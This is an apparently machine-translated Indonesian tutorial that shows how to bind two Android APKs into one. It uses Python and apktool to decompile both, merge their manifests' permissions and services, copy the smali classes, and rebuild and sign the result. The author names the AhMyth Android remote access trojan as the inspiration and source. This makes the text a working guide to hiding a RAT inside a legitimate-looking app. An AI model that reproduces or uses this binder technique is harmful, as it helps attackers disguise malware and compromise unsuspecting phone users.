
Saya memutuskan entah bagaimana membuat perekatan dua file apk, tetapi tidak ada banyak informasi tentang bagaimana melakukan ini di Internet. Kemudian dipersenjatai dengan Ahmyth Trojan untuk android (
sumbernya ), sebuah perjalanan dimulai ke dunia menempelkan apk dengan tangan Anda sendiri. Secara singkat tentang ini lebih lanjut ...
Secara singkat tentang esensi masalah:
Ada dua file apk (misalkan 1.apk dan 2.apk). Tugasnya adalah membuat 3.apk, yang akan menempelkan apk 1 dan 2 (dan akan menjalankan fungsinya).
Singkatnya (kode python):
Kami memiliki:
1. Folder
apk - untuk file dengan apk;
2. Folder
tmp - untuk file yang didekompilasi;
3. Folder
alat - dengan perangkat lunak tambahan (seperti apktool.jar, sign.jar, testkey).
Pertama, kami menentukan folder saat ini di mana kami bekerja dan folder tempat kami akan mendekompilasi:
Lalu kami mendekompilasi file apk ke folder tmp:
print " "+pwd+"/apk/1.apk" subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True ) print " "+pwd+"/apk/2.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )
Setelah langkah ini, kami memiliki dua folder / tmp / 1 dan / tmp / 2 dengan file yang di-decompile. Sekarang bagian yang menyenangkan adalah
penyatuan manifesto !
print " " mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
Sekarang dalam urutan kode ini:Kami menemukan file AndroidManifest.xml di folder / tmp / 1:
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()
Dalam file ini kami menemukan semua layanan dan kelas yang dideklarasikan:
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")]
Di folder AndroidManifest.xml / tmp / 1, Salin semuanya dari tag "<izin penggunaan" ke tag "<aplikasi". Berikut ini semua izin yang dibutuhkan oleh program:
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]
Kami menemukan file AndroidManifest.xml di folder / tmp / 2:
mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()
Setelah itu, kita perlu
menggabungkan semua ini menjadi satu file , sehingga semuanya ada di tempatnya.
Manifes baru (new_mainfest2) terdiri dari:
- Awal aplikasi AndroidManifest.xml 2.apk (dari awal hingga akhir izin yang diperlukan);
- Kami menambahkan di sini izin aplikasi 1.apk (permit1);
- Tambahkan semua yang ada di AndroidManifest.xml dari aplikasi 2.apk dari "<application" ke "
Tambahkan semua layanan aplikasi 1.apk (service1);
Tambahkan sisa aplikasi AndroidManifest.xml 2.apk.
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
Timpa AndroidManifest.xml di folder / tmp / 2:
Ini melengkapi pembuatan AndroidManifest. Tetap menyalin semua kelas dari / tmp / 1 ke / tmp / 2. Lebih tepatnya, kami akan menyalin folder
smali (ini semua kelas aplikasi) dan
tidak dikenal :
subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2 , shell=True )
Kesimpulannya, Anda harus mengumpulkan semua ini ke file apk, tandatangani:
print " apk "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True ) print " "+ pwd+"/tmp/3.apk" subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )
Sebagai akibatnya, file 3.apk ini muncul di folder tmp, yang merupakan perekatan dua lainnya.
PS Dalam perwujudan ini, ketika menempelkan izin dua aplikasi, perbandingannya dan menambahkan hanya yang tidak dicentang. Mungkin (dan akan) ada duplikasi dalam deklarasi izin. Tetapi pada tahap ini, semuanya bekerja dengan duplikasi.
Sumber:
β
AhMyth-Android-RAT